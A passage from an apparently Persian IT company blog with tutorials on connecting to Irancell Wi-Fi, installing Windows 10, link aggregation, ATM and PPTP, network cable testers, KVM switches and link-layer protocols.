        • اگر مشترک اپراتوری به غیر از ایرانسل هستید و رمز عبور خود را فراموش کرده‌اید نیز می‌توانید با انتخاب گزینه «رمز عبور خود را فراموش کرده‌اید؟» رمز جدیدتان را از طریق پیامک دریافت کنید.

        ۵. در صفحه بازشده، گزینه «خرید بسته» را انتخاب کنید.

      Wi Fi ایرانسل2 0

      ۶. گزینه۱۰۰MB FREE WIFI INTERNET  را انتخاب کنید.

      Wi Fi3ایرانسل 1

      ۷. اگر اطلاعات نمایش‌داده‌شده صحیح است، روی دکمه «ارسال» کلیک کنید.

      Wi Fi5ایرانسل 0

      ۸. در صفحه بازشده روی دکمه خانه/وب‌گردی کلیک کنید.

      بدین ترتیب می‌توانید از ۱۰۰ مگابایت اینترنت هدیه ایرانسل لذت ببرید.

      تنظیمات مربوط به اضافه‌کردن شبکه وای‌فای ایرانسل در گوشی‌های اندروید

      ۱. وای‌فای گوشی خود را روشن کنید.

      Wi Fi ایرانسل1 0 1

      ۲. گزینه Add Wi-Fi را انتخاب کنید.

      2 اندروید 0

      ۴. در بخش امنیت (security) گزینه ۸۰۲.۱x EAP را انتخاب کنید.

      4.اندرویدpng 0

      ۵. در بخش EAP method اگر سیم‌کارت شما قابلیت پشتیبانی از اینترنت نسل ۲ و ۳ را دارد، گزینه SIM و اگر سیم‌کارت شما قابلیت پشتیبانی از اینترنت نسل ۴ را دارد گزینه AKA را انتخاب کنید.

      5.اندرویدpng 0

      ۶. گزینه CONNECT را انتخاب کنید.

      ۷. عبارت Connected نشان‌دهنده اتصال شما به وای‌فای ایرانسل است.

      تنظیمات مربوط به اضافه‌کردن شبکه وای‌فای ایرانسل در گوشی‌های iOS

      ۱. فایل مربوط به تنظیمات وای‌فای ایرانسل را دانلود و گزینه Install را انتخاب کنید.

      1ios آیفون 0

      ۲ . رمز گوشی خود را وارد کنید

       

      2iosآیفون 0

      ۳. گزینه Install را دوباره انتخاب کنید.

      3iosآیفون

      ۴. پروفایل وای‌فای ایرانسل به فهرست اضافه می‌شود.

      1ios آیفون 0 1۵. در نهایت گزینه MTNIRANCELL را از بخش CHOOSE A NETWORK انتخاب کنید تا به وای‌فای ایرانسل متصل شوید.

      2 اندروید 0 2

       

      بیشتر بخوانید
      1603731073

      ویژگی تجمیع لینک در سوییچ‌ها چه قابلیتی ارائه می‌کند؟

      نوشته شده توسط: مشهد آی سی ۰۹ آبان ۱۳۹۹ 0دیدگاه

       

      تجمیع لینک یکی از مهم‌ترین فناوری موجود در دنیای شبکه‌های کامپیوتری است. یک ویژگی کاربردی که سوییچ‌ها نقش مهمی در پیش‌برد آن دارند. زمانی‌که یک سوییچ اطلاعات دستگاه‌های متصل را به سمت سوییچ‌های بالاتر ارسال می‌کند با مشکل حجم زیاد بسته‌ها روبرو می‌شود. سوییچ‌ها برای غلبه بر این مشکل از دو روش مختلف استفاده می‌کنند. روش اول به‌کارگیری پورت‌های آپلینک است که سرعت و پهنای باند بیشتری نسبت به سایر پورت‌ها دارند. روش دوم تجمیع چند پورت عادی است تا پورت‌ها به شکل نرم‌افزاری بتوانند نقش پورتی با پهنای بیشتر را بازی کنند.

      در شبکه‌های کامپیوتری، قابلیت تجمیع لینک که گاهی اوقات به‌نام تجمیع ارتباطات نیز از آن نام برده می‌شود به روش‌های مختلف ترکیب (تجمیع) اتصال موازی چند شبکه با هدف افزایش ظرفیت موجود و فراهم آوری افزونگی در شرایطی که یکی از ارتباط‌ها با مشکل مواجه می‌شود، اعمال می‌شود. یک گروه لینک‌های تجمیع شده (LAG) تعدادی پورت فیزیکی را با هم ترکیب می‌کند تا یک مسیر داده با پهنای باند زیاد ایجاد کند، به‌طوری که می‌تواند تساوی بار ترافیکی بین پورت‌های عضو در گروه را اجرا کند و قابلیت اطمینان ارتباط را افزایش دهد. البته دقت کنید که اصطلاح تجمیع لینک به نام‌های دیگری همچون پورت ترانکینگ (port trunking)، مقیدسازی لینک (link bundling)، مقیدسازی اترنت، مقیدسازی، مقیدسازی کانال (channel bonding)، مقیدسازی پورت (port channeling) و تیم‌سازی کارت شبکه (NIC teaming) نیز نامیده می‌شود. این واژگان عمومی نه تنها استانداردهای مستقل از سازنده، مانند پروتکل کنترل تجمیع ارتباط (LACP) که در IEEE 802.1AX برای اترنت تعریف شده یا استاندارد قدیمی تر IEEE 802.3ad، شامل می‌شود، بلکه راه‌حل‌های مختلف اختصاصی شرکت‌ها را شامل می‌شود.

      چرا تجمیع لینک استفاده می‌شود؟

      تجمیع ارتباط برای پاسخ‌گویی به دو مشکل محدودیت‌های پهنای باند و عدم انعطاف‌پذیری استفاده می‌شود. به لحاظ تئوری پهنای باند اترنت افزایش‌های ده برابری داشته که دسترسی به سرعت‌های ۱۰ مگابیت در ثانیه، ۱۰۰ مگابیت در ثانیه، ۱٬۰۰۰ مگابیت در ثانیه، ۱۰٬۰۰۰ مگابیت در ثانیه را شامل شده است. اگر کاربری به حداکثر میزان ظرفیت ارائه شده توسط دستگاه تحت شبکه خود بررسد، تنها گزینه پر سرعت در دسترس او عزیمت به نسل بعدی (سرعت ده برابر بیشتر) تا بتواند بر مشکل سرعت و ظرفیت غلبه کند. شرکت‌ها برای حل این مشکل که در اغلب اوقات هزینه‌بر است، راهکار جالبی را ابداع کردند. این راه‌حل جایگزین که در اوایل دهه ۹۰ توسط بیشتر تولیدکنندگان تجهیزات شبکه ارائه شد، ترکیب دو پیوند اترنت فیزیکی و ایجاد یک لینک منطقی از طریق اتصال کانال‌ها است. اکثر این راه‌حل‌ها نیاز به پیکربندی دستی و تجهیزات یکسان در هر دوطرف ارتباط دارد. مشکل دوم شامل سه نقطه تکی شکست در یک اتصال معمولی کابلی و پورت معمولی است. در زمان پیکربندی تجهیزات شبکه همچون سوییچ‌ها و حتا کابل‌ها این احتمال وجود دارد که هر یک از پورت‌های متصل به کابل‌ها خراب شده باشد که دسترسی کلاینت‌ها به شبکه را مختل می‌کند. برای رفع مشکل اتصالات فیزیکی این امکان وجود دارد که تعداد آن‌‌ها را زیاد کرد، با این حال بسیاری از پروتکل‌های سطح بالاتر به گونه‌ای طراحی نشده‌اند که با روش فوق سازگار باشند.

      معماری تجمیع لینک

      معماران شبکه می‌توانند تجمیع را در هر یک از سه لایه اول مدل OSI اجرا کنند. نمونه‌هایی از تجمع در لایه ۱ (لایه فیزیکی) شامل تجهیزات شبکه‌ای در خطوط انتقال کابلی یا بیسیم است که چند باند فرکانس را با هم ترکیب می‌کنند. در لایه ۲ تجمیع معمولاً در درگاه‌های سوئیچ اتفاق می‌افتد که می‌تواند پورت‌های فیزیکی یا معادل مجازی‌های آن باشد که توسط سیستم‌عامل اداره می‌شوند. لایه پیوند داده دومین سطح از مدل اتصال متقابل سامانه‌های باز است. این لایه سه وظیفه اصلی ارائه سرویس‌های مشخص به لایه شبکه، مدیریت خطاهای انتقال و تنظیم جریان داده‌ها عهده‌دار است. ‌تجمیع در لایه ۳ (لایه شبکه) در مدل OSI می‌تواند از زمان‌بندی نوبت گردشی، مقادیر هش محاسبه شده از قسمت‌های موجود در سرباره بسته شبکه، یا ترکیبی از این دو روش استفاده کند. صرف نظر از لایه‌ای که روی آن تجمیع صورت گرفته، این امکان وجود دارد که بار شبکه را در کلیه پیوندها متعادل کرد. با این حال، همه این راه‌حل‌ها راهگشا نیستند و در بیشتر موارد با شکست روبرو می‌شوند.

      پروتکل تونل‌زنی نقطه به نقطه

      پروتکل نقطه‌به‌نقطه (Point to Point Protocol) یک پروتکل ارتباطات برای لایه پیوند داده‌ است که برای ارتباط در خطوط هم‌زمان یا غیر هم‌زمان استفاده می‌شود و پروتکل‌های دیگر شبکه را شامل می‌شود. پروتکل نقطه به نقطه روش برقراری اتصال بین دو نقطه از شبکه را مشخص می‌کند. این پروتکل نخستین بار در دهه ۱۹۹۰ میلادی معرفی شد و با هدف پیاده‌سازی یک مکانیزم افزایش سرعت و پهنای باند پیشنهاد شد. در همین ارتباط پورتکل تونل‌زنی نقطه‌به‌نقطه (Point to Point Tunneling Protocol) پیشنهاد شد که روشی برای پیاده‌سازی شبکه خصوصی مجازی است. PPTP از شناخته شده‌ترین نوع اتصالات مبتنی بر شبکه‌های خصوصی مجازی است که سرعت زیادی ارائه می‌کند و توسط بیشتر تجهیزات شبکه پشتیبانی می‌شود. به دلیل این‌که اتصال فوق نقطه‌به‌نقطه است، راه‌اندازی و پیاده‌سازی آن کار چندان سختی نیست و در مقابل سرعت آن به نسبت سایر اتصالات زیاد است. سرویس‌های دیوار آتش مانند ISA Server یا Cisco PIX و Sonic Wall برای تایید این پروتکل استفاده می‌شوند.

      حالت انتقال ناهمگام

      حالت انتقال ناهمگام (ATM) سرنام Asynchronous Transfer Mode به پالس‌های ساعت وابسته نیست و در گروه شبکه‌های اتصال‌گرا طبقه‌بندی می‌شود. در این مدل جهت برقراری اتصال در آغاز بسته‌ای به مقصد ارسال می‌شود، این بسته مسیر خود را بین مسیریاب‌های مختلف پیدا می‌کند و مدار مجازی را شکل می‌دهد. این اتصال از این به بعد اتصال فیزیکی نام می‌گیرد. هر یک از این اتصال‌ها دارای یک شماره شناسایی است. در این مدل اطلاعات به صورت بسته‌های ۵۳ بایتی (سلول) ارسال می‌گردد. این بسته‌ها از دو بخش سرآیند و داده‌های کاربر تشکیل شده‌اند. در بخش سرآیند که ۵ بایت است اطلاعاتی همچون شماره شناسایی اتصال ذخیره می‌گردد. ATMها سرعت بالایی دارند، بسته‌ها را در یک مسیر و به ترتیب ارسال می‌کنند و از آن‌جایی که بسته‌ها کوچک اند، کیفیت هم بالا است. این مدل شباهت‌هایی به شبکه‌های گسترده دارد و دارای پهنای باندی حدود ۶۲۲-Mbps است. مدل مرجع ATM که برخلاف مدل مرجع OSI و مدل مرجع TCP/IP، مدلی سه بعدی است، دارای سه لایه‌ لایه فیزیکی، لایه ATM و لایه انطباق ATM است.

      صفحه کاربر با انتقال داده، کنترل جریان، تصحیح خطا، و دیگر عملکردهای کاربر سروکار دارد. صفحه کنترل مدیریت اتصال را بر عهده دارد. وظیفه صفحه‌های مدیریت لایه و صفحه، مدیریت منابع سیستم و هماهنگ‌کردن لایه‌های بینابینی است.

      لایه فیزیکی

      این لایه مشابه لایه فیزیکی در مدل‌ TCP/IP است. لایه فیزیکی در این مدل به دو زیر لایه زیر طبقه‌بندی می‌شود:

      زیر لایه فیزیکی(PMD): به شکل مستقیم به کابل شبکه پیوند می‌خورد و با توجه به رسانه انتقال متفاوت است. این زیر لایه وظیفه ارسال و دریافت بیت‌ها، زمان‌بندی بیت‌ها و آماده کردن امکان دسترسی فیزیکی را فراهم می‌کند. زیرلایه همگرایی انتقال(TC): این زیر لایه که مشابه لایه پیوند داده‌ها در مدل پایه OSI است وظیفه ایزوله کردن سرعت سلول، تولید مجموع تطبیقی، تولید سلول یا بسته‌های ۵۳ بایتی، بسته‌بندی و بازکردن بسته‌ها و تولید فریم را عهده‌دار است.

      لایه ATM

      در این لایه وظایف مهم سیستم مدیریت می‌شود. این لایه وظیفه کنترل جریان، تولید سرآیند سلول و مدار مجازی و مدیریت مسیر مالتی پلکس و دی مالتی پلکس سلول را عهده‌دار است.

      لایه انطباق ATM

      با توجه به این‌که برنامه‌ها با بسته‌های بزرگ‌تر از ۵۳ بایت کار می‌کنند این لایه بسته‌های اطلاعاتی را در طرف فرستنده به سلول‌های ۵۳ بایتی می‌شکند و طرف گیرنده هم آن‌ها را با هم پیوند می‌دهد. این لایه از دو زیر لایه زیر ساخته شده است:

      زیر لایه تقسیم‌بندی و سرهم کردن (SAR) که در طرف فرستنده بسته‌های داده را به سلول می‌شکند و در طرف گیرنده دوباره آن‌ها را به هم می‌چسباند.

      زیر لایه واسطه استاندارد(CS) که وظیفه ارائه سرویس‌های مختلف به برنامه‌های کاربردی را بر عهده دارد.

      بیشتر بخوانید
      1603615035

      چگونه ویندوز نصب کنیم؟

      نوشته شده توسط: مشهد آی سی ۰۸ آبان ۱۳۹۹ 0دیدگاه
      احتمالا برای همه ماها پیش آمده که ویندوز کامپیوترمان دچار مشکل شده و برای بالا آوردن سیستم دچار مشکل می‌شود. راهکاری که خیلی‌ها در این مواقع استفاده می‌کنند عوض کردن ویندوز است. اما نصب ویندوز یک سری مراحل دارد که در این مقاله آموزش گام به گام نصب ویندوز۱۰ را به شما خواهیم گفت.

      چگونه ویندوز نصب کنیم؟

      برای نصب ویندوز ۱۰ باید سیستم شما حداقل مشخصات سخت‌افزاری زیررا داشته باشد.

      نصب ویندوز با چندین روش انجام می‌شود که در این مقاله نحوه نصب ویندوز۱۰ با سی دی یا فلش را خواهیم گفت.

      تنها تفاوت نصب ویندوز با سی دی و فلش در بوت کردن آن است.

      آموزش گام به گام نصب ویندوز ۱۰

      مرحله یک: بوت سیستم

      در مرحله اول باید مشخص کنید که ویندوز را از چه طریقی نصب می‌خواهید نصب کنید، بسته به روش نصب، سیستم بوت خود را انتخاب می‌کنید.

      در شروع نصب باید مشخص کنید که سیستمی که سیستم عامل را بالا می‌آورد از طریق هاردیسک، فلش مموری یا CD باشد.

      برای اینکار سیستم را ریستارت کنید و قبل ازبالا آمدن ویندوز چندین بار کلید DELETE یا F12 را فشار دهید.

      چگونه ویندوز10 نصب کنیم؟ 77 0

      صفحه‌ای مشابه تصویر زیر برایتان باز می‌شود که باید وارد سربرگ boot شوید سپس boot device priority را با استفاده از کلیدهای جهت در کیبورد انتخاب کنید و اینتر را بزنید.

      چگونه ویندوز 10 نصب کنیم

      در صفحه جدید گزینه ۱ st BOOT Device را انتخاب کنید و برای اینکه بوت کردن از طریق سی دی انجام شود در از لیست باز شده گزینه cdrom را انتخاب کرده و اینتر را بزنید.

      چگونه ویندوز10 نصب کنیم؟ 10

      برای بوت شدن از طریق فلش مموری usb flash یا فلش دیسک خود را انتخاب کنید.

      پس از انتخاب روش بوت کردن کلید f10 را فشار سپس yes را انتخاب کنید تا تنظیمات ذخیره شود پس از آن سیستم ریستارت می‌شود و وارد مرحله بعدی نصب ویندوز خواهید شد.

      مرحله دوم: شروع نصب ویندوز

      در این آموزش ما نصب ویندوز با cd را انتخاب کردیم پس باید سی دی را وارد سیستم کرده و آن را ریستارت کنید.

      با صفحه مشابه زیر روبرو خواهید شد و باید کلید enter را فشار دهید.

      ویندوز10 نصب کنیم؟ 5

      مدتی صبر کنید تا صفحه زیر برای شما باز شود.

      چگونه ویندوز10 نصب کنیم؟ 2

      در تب جدید موقعیت مکانی، زبان و زبان کیبورد را مشخص کنید.

      پس از تکمیل مراحل بالا پنجره زیر برایتان باز می‌شود و برروی install now کلیک کنید.

      چگونه ویندوز10 نصب کنیم؟ 7

      در مرحله بعد صفحه زیر برایتان باز می‌شود که دو گزینه دارد.

      چگونه ویندوز10 نصب کنیم؟ 11

      گزینه اول upgrade که برای زمانی است که قصد داشته‌باشید ویندوز خود را ارتقا دهید.

      گزینه دوم custom که با کلیک برروی آن وارد مراحل نصب ویندوز می‌شوید.

      در مرحله بعدی وارد قسمت پارتیشن‌بندی می‌شوید در اینجا باید درایو موردنظر برای نصب ویندوز را انتخاب کنید.

      چگونه ویندوز10 نصب کنیم؟ 1

      سپس برروی گزینه  format کلیک کنید و دکمه next را انتخاب کنید.

      نکته: دقت کنید با فرمت کردن درایو تمامی اطلاعات موجود در آن درایو پاک خواهد شد پس درایوی را انتخاب کنید که قبلا برروی آن ویندوز نصب بوده.

      حال باید صبر کنید مراحل نصب ویندوز انجام شود در این پروسه چندین بار سیستم ریستارت می‌شود.

      چگونه ویندوز10 نصب کنیم؟ 78

      بعد از اتمام مراحل بالا صفحه‌ای مشابه تصویر زیر برایتان باز می‌شود که  باید تنظیمات دلخواه ویندوز را انتخاب کنید،‌ بهترین حالت این است که از تنظیمات پیش‌فرض خود ویندوز استفاده کنید و برای اینکار برروی گزینه use express setting کلیک کنید.

      ویندوز10 نصب کنیم؟ 5 1

      در صفحه باز شده باید وارد اکانت مایکروسافت خود شوید، اگر اکانت مایکروسافت ندارید برروی گزینه don’t have an account کلیک کنید و اکانت خود را بسازید و سپس دکمه NEXT را بزنید.

      چگونه ویندوز10 نصب کنیم؟ 3

      سپس با تصویر مواجه می‌شوید که می‌توانید همگامسازی تنظیمات ویندوز را انجام دهید.

      چگونه ویندوز10 نصب کنیم؟ 1 0 2

       

      با انتخاب گزینه اول تنظیمات ویندوز قبلی برروی ویندوز جدید اجرا می‌شود و دیگر نیازی بعد از نصب  ویندوز تنظیمات آن را دستکاری کنید.

      با انتخاب گزینه دوم وارد مرحله بعدی می‌شوید.

      در این مرحله گزینه next را بزنید و منتظر بمانید که تنظیمات ویندوز اعمال شوند.

      چگونه ویندوز10 نصب کنیم؟ 8

       

      مانیتور شما چند رنگ مختلف را نشان می‌دهد که ویژگی‌های ویندوز در آن نمایش داده می‌شود.

      چگونه ویندوز10 نصب کنیم؟ 3

       

      با اتمام این مرحله نصب ویندوز به پایان می‌رسد و به صفحه دسکتاپ هدایت می‌‌شوید.

      بیشتر بخوانید
      1603648443

      تستر شبکه و سوییچ KVM چه کاری انجام می‌دهد؟

      نوشته شده توسط: مشهد آی سی ۰۷ آبان ۱۳۹۹ 0دیدگاه
      پس از پیاده‌سازی یک شبکه کامپیوتری در مرحله بعد لازم است تمام پریزهای شبکه، پچ‌پنل‌ها و سوکت‌های شبکه آزمایش شوند تا پیش از راه‌اندازی شبکه مشکلات احتمالی شناسایی و به سرعت برطرف شوند. همچنین اگر شبکه‌ای در سازمانی به‌طور کامل پیاده‌سازی شده و اکنون دچار مشکل شده، تستر اجازه می‌دهد در کوتاه‌ترین زمان ممکن مکانی که باعث بروز مشکل یا قطعی در شبکه شده شناسایی شود.

      تستر شبکه چیست؟

      ستر یکی از ملزومات پسیو شبکه است که لازم است با نحوه کارکرد درست این ابزار آشنا باشید. تستر شبکه به تکنسین‌ها در شناسایی مشکلات مربوط به کابل شبکه و اتصال درست سیم‌های کابل در سوکت کمک می‌کند. کاری که تستر انجام می‌دهد این است که اطلاع می‌دهد کدامیک از رشته‌های قرار گرفته در سوکت قطع شده یا به اشتباه پانچ شده‌اند. پس از پیاده‌سازی شبکه، در مرحله بعد لازم است تمام پریزهای شبکه، پچ‌پنل‌ها و سوکت‌های شبکه آزمایش شوند تا پیش از راه‌اندازی شبکه مشکلات احتمالی شناسایی و به سرعت برطرف شوند. همچنین اگر شبکه‌ای در سازمانی به‌طور کامل پیاده‌سازی شده و اکنون دچار مشکل شده، تستر اجازه می‌دهد در کوتاه‌ترین زمان ممکن مکانی که باعث بروز مشکل یا قطعی در شبکه شده شناسایی شود.

      آشنایی با تسترهای کابل شبکه

      تسترهای شبکه به سه گروه تسترهای چند کاره، تسترهای دیجیتالی و تسترهای ساده با صفحه LED طبقه‌بندی می‌شوند.

      تستر ساده ال‌ای‌دی

      تسترهای ساده از دو بخش تشکیل شده‌اند که هر دو بخش مجهز به هشت چراغ ال‌ئی‌دی است که وضعیت رشته سیم‌های درون کابل شبکه را نشان می‌دهند. این تسترها دارای سوکت‌های RJ45 و RJ11 هستند که برای آزمایش کابل‌های شبکه و کابل‌های تلفن استفاده می‌شوند.

      01 750

      تسترهای مجهز به صفحه‌نمایش دیجیتالی

      این نوع تسترها نیز از دو بخش ساخته شده‌اند که دستگاه اصلی مجهز به باتری و صفحه‌نمایش است، در حالی که دستگاه جانبی فاقد باتری و صفحه‌نمایش است. تسترهای فوق ضمن آن‌که وضعیت قطع شدن کابل شبکه را اعلام می‌کنند این توانایی را دارند تا طول یک کابل را نیز نشان دهند.

      تستر چند منظوره

      نوع پیشرفته‌تر تسترها که قابلیت‌های بیشتری نسبت به دو نمونه قبلی دارد مجهز به چراغ‌های ال‌ئی‌دی است که می‌تواند علاوه بر کابل شبکه، کابل تلفن،کابل دوربین مداربسته و کابل یو‌اس‌بی را نیز آزمایش کند. دستگاه‌ اصلی مجهز به صفحه‌نمایش است که درگاه‌های RJ45، RJ11، USB تایپ بی و BNC روی آن قرار گرفته و اجازه می‌دهد به راحتی مشکلات مربوط به درگاه‌های مختلف را بررسی کنید. دستگاه جانبی نیز مجهز به درگاه‌های RJ45، RJ11 و درگاه یو‌اس‌بی تایپ A است. شکل زیر نمونه‌ای از یک تستر چندمنظوره را نشان می‌دهد.

      02 10

      چگونه از تستر شبکه استفاده کنیم؟

      هر تستر شبکه از دو بخش تشکیل شده که هر بخش به یک سر کابل یا پریز شبکه باید متصل شود. در ادامه بسته به تستری که در اختیار دارید باید وضعیت قطعی یا پانچ‌کردن اشتباه سیم‌ها را بررسی کنید. دستگاهی که باتری و صفحه‌نمایش روی آن قرار دارد دستگاه اصلی است. این دستگاه سیگنالی را به هر یک از کابل‌های شبکه ارسال می‌کند و دستگاه دوم که به سر دیگر کابل شبکه متصل است سیگنال را دریافت می‌کند. اگر هر یک از رشته سیم‌ها قطع باشد، سیگنال ارسالی توسط دستگاه دوم دریافت نمی‌شود. تسترهایی که مجهز به صفحه‌نمایش هستند وضعیت هر یک از رشته سیم‌های قطع شده را مشخص می‌کنند. صفحه‌نمایش‌های دارای چراغ ال‌ئی‌دی دارای هشت چراغ هستند که وضعیت هر یک از سیم‌های کابل را مشخص می‌کنند. البته برخی از تکنسین‌های شبکه از تسترهای کاملا حرفه‌ای استفاده می‌کنند. تسترهای حرفه‌ای قابلیت‌های پیشرفته‌تری ارائه می‌کنند که از آن جمله می‌توان به نمایش طول دقیق کابل شبکه، ذخیره‌سازی اطلاعات، اعلام کیفیت کابل شبکه، اعلام این موضوع که کدامیک از سوکت‌های سر کابل اشتباه پانچ شده‌اند، چه بخشی از کابل قطع شده و تشخیص صدمه دیدن یا پیچ‌خوردگی کابل اشاره کرد.

      آشنایی با سوییچ KVM

      KVM به سه محصول صفحه‌کلید، ماوس و مانیتور اشاره دارد که درون یک محصول واحد قرار گرفته‌اند. در بیشتر موارد درون یک رک‌ چند سرور قرار دارد که برای مدیریت هر یک از آن‌ها باید صفحه‌‌‌کلید، ماوس و مانیتور‌های جداگانه‌ای خریداری کنید که رویکرد عاقلانه‌ای نیست، زیرا مشکلات نگه‌داری و مهم‌تر از آن هزینه‌های جانبی زیادی دارد. برای حل این مشکل سوییچ KVM ابداع شد. سوییچ‌های KVM به یک کنسول تکی متصل می‌شوند و به مسئول نگه‌داری از شبکه اجازه می‌دهد از طریق یک کنترل مرکزی نظارت دقیقی اعمال کند. مهم‌ترین نکته قبل از خرید سوییچ KVM، تعداد سرورهایی است که قصد کنترل آن‌ها را دارید. بیشتر سوییچ‌های KVM  با درگاه‌های کمی عرضه می‌شوند و نیازی ندارند نرم‌افزار خاصی روی آن‌ها نصب شود و کنترل آن‌ها از طریق کلید‌های فیزیکی امکان‌پذیر است. این مدل سوییچ‌ها برق موردنیاز را از سرور دریافت می‌کنند و نیازی به منبع تغذیه جداگانه ندارند. سوییچ‌های پیشرفته‌تر درگاه‌های بیشتری ارائه می‌کنند و به فناوری‌های جدیدتری تجهیز شده‌اند و اغلب u1 یا u2 فضای رک را به خود اختصاص می‌دهند. سوییچ‌های kvm حداقل به دو درگاه تجهیز شده‌اند که اگر سوییچ‌ها به یکدیگر متصل شوند، اجازه می‌دهند سرورهای بیشتری را کنترل کنید. در گذشته کاربرد سوییچ‌ها محدود به مراکز داده‌‌ای بود که دست‌کم ۱۶ سرور در آن‌ها قرار داشت، اما امروزه در بیشتر منازل، کاربران بیش از یک کامپیوتر شخصی دارند که برای صرفه‌جویی در هزینه‌ و فضا از یک سوییچ kvm استفاده می‌کنند. نکته‌ای که بد نیست به آن اشاره داشته باشیم نوع خاصی از سوییچ‌های kvm است که کی‌وی‌ام روی بستر آی‌پی (IPKVM) سرنام KVM over IP نام دارند. در این محصولات سوییچ و یک ریزکنترل‌کننده در قالب یک محصول واحد آماده شده و به بازار عرضه می‌شوند و قادر هستند تصویر سیستم را همراه با سیگنال‌های ماوس و صفحه‌کلید دریافت کنند و اطلاعات را به یک بسته داده‌ای تبدیل کنند و از طریق کارت شبکه‌ داخلی روی شبکه ارسال کنند. این سوییچ‌های KVM امکان مدیریت از راه دور را فراهم می‌کنند.

      بیشتر بخوانید
      1601276197

      آشنایی با لایه ها و پروتکل‌های رایج به کار گرفته شده در اینترنت و شبکه‌های کامپیوتری

      نوشته شده توسط: مشهد آی سی ۰۶ آبان ۱۳۹۹ 0دیدگاه
      اینترنت و شبکه‌های محلی که روزانه در محل کار یا خانه از آن‌ها استفاده می‌کنید طیف گسترده‌ای از پروتکل‌ها را به کار می‌گیرند تا بتوانید بسته‌های اطلاعاتی را منتقل کنید یا بسته‌های ارسال شده توسط تجهیزات دیگر را دریافت کنید. هر یک از این پروتکل‌ها برای کاربردهای خاصی استفاده می‌شوند که در این مقاله با تعدادی از آن‌ها آشنا می‌شویم.

      لایه پیوند

      لایه پیوند یا لایه واسط شبکه پایین‌ترین لایه در پشته پروتکل اینترنت است و ساختار معماری شبکه‌بندی اینترنت را شکل می‌دهد. این لایه مجموعه‌ای از متدها و پروتکل‌ها است که تنها در بخش رابط میزبان عمل می‌کند. پروتکل لایه پیوند تنها بین گره‌های مجاور در یک شبکه محلی (LAN) یا یک شبکه گسترده (WAN) استفاده می‌شود. علیرغم تعاریف گوناگون لایه‌بندی در مدل‌های TCP/IP و OSI، لایه پیوند را عمدتا ترکیبی از دو لایه پیوند داده (لایه ۲) و فیزیکی (لایه ۱) در مدل مرجع اتصال داخلی سیستم‌های باز توصیف می‌کنند. با این وجود، لایه‌های TCP/IP بیشتر در حوزه‌های عملیاتی (کاربرد، میزبان-به-میزبان)، شبکه و پیوند عمل می‌کنند. استاندارد RFC 1122 توصیف می‌کند که پروتکل‌های شبکه‌های محلی نظیر اترنت و IEEE 802 و نیز پروتکل‌های فریم‌بندی نظیر پروتکل نقطه-به-نقطه (PPP) متعلق به لایه پیوند هستند.

      پروتکل‌های لایه پیوند

      پروتکل‌های اصلی لایه پیوند که توسط کارگروه (IETF) تعریف شده‌اند پروتکل تفکیک آدرس Address Resolution Protocol،  پروتکل تفکیک آدرس معکوس Reverse Address Resolution Protocol  و پروتکل کشف همسایه Neighbor Discovery Protocol که پروتکلی مشابه ARP در پروتکل اینترنت نسخه ۶ است را شامل می‌شوند. پروتکل سیستم میانی به سیستم میانی IS-IS پروتکل مسیریابی حالت لینک دیگری است که با در نظرگرفتن مدل TCP/IP می‌توان آن‌را در این لایه قرار داد، هر چند این پروتکل در داخل مدل مرجع OSI توسعه داده شده بود. لایه پیوند همچنین شامل تمام متدهای واسط مختص به سخت افزار است که از آن جمله می‌توان به اترنت و طرح‌های کپسوله‌سازی IEEE 802 اشاره کرد.

      لایه پیوند در مدل TCP/IP اغلب به‌طور مستقیم با لایه پیوند داده و لایه فیزیکی در مدل مرجع اتصال داخلی سیستم‌های باز مورد مقایسه قرار می‌گیرد. اگرچه این دو لایه وجه اشتراکی با هم دارند و موضوعاتی را هم‌پوشانی می‌کنند، اما متدهای دسته‌بندی متفاوتی را به نمایش می‌گذارند. لایه پیوند در مدل TCP/IP هنوز هم در حوزه اجرایی گسترده‌تر است، اما در زمینه قوانین و اصول استاندارد کلاس‌بندی دارای نواقصی هستند. این نواقص زمانی نمایان می‌شوند که پروتکل‌های خاصی نظیر پروتکل تفکیک آدرس (ARP) که در مدل TCP/IP در لایه پیوند است، در مدل مرجع OSI در جایی بین لایه پیوند داده و لایه شبکه قرار می‌گیرد. به همین دلیل بهتر است از مقایسه دقیق این دو مدل دوری کرد. واژه دیگری که گاهی اوقات با آن روبرو می‌شویم لایه دسترسی شبکه است که سعی دارد این موضوع را نشان دهد که این لایه ارتباط نزدیکی با شبکه فیزیکی دارد. با این وجود، این نوع کاربرد اشتباه و غیر استاندارد است، زیرا لایه پیوند به محتوی متدها و عملیاتی اشاره دارد که از سطح صرفاً دسترسی به شبکه فراتر عمل می‌کند. به‌طور مثال، پروتکل‌های عمده لایه پیوند برای بررسی توپولوژی شبکه محلی، یافتن روترها و میزبان‌های همسایه به کار می‌رود، عملیاتی که فراتر از دسترسی به شبکه می‌باشد.

      از مهم‌ترین عملیاتی که لایه پیوند پشتیبانی می‌کند به مواردی همچون روش‌های شبکه‌بندی پیوندهای منطقی، کپسوله‌سازی بسته‌های IP در داخل فریم‌ها، همزمان‌سازی فریم، شناساسی خطا از طریق حذف بسته‌های دارای خطا، زیرلایه کنترل منطقی پیوند (Logical Link Control)، شناسایی خطا و درخواست تکرار خودکار بسته‌های خطادار برای ارتباط گره به گره، کنترل جریان گره به گره، تصحیح خطای رو به جلو، زیرلایه کنترل دسترسی رسانه یا همان مک‌آدرس، پروتکل‌های با دسترسی چندگانه، آدرس‌دهی فیزیکی (MAC Addressing)، سوئیچینگ بسته شامل فیلترینگ MAC و پروتکل درخت پوشا، سوئیچینگ ذخیره و هدایت، صف‌بندی بسته‌های اطلاعاتی یا الگوریتم‌های زمانبندی اشاره کرد.

      پروتکل تفکیک آدرس

      پروتکل تفکیک آدرس Address Resolution Protocol  که به نام (ARP شهرت دارد یک پروتکل ارتباطی برای یافتن آدرس لایه پیوند، مانند آدرس مک، و ارتباطش با آدرس لایه شبکه است. این پروتکل یکی از مولفه‌های کلیدی در مجموعه پروتکل اینترنت است.

      لایه شبکه

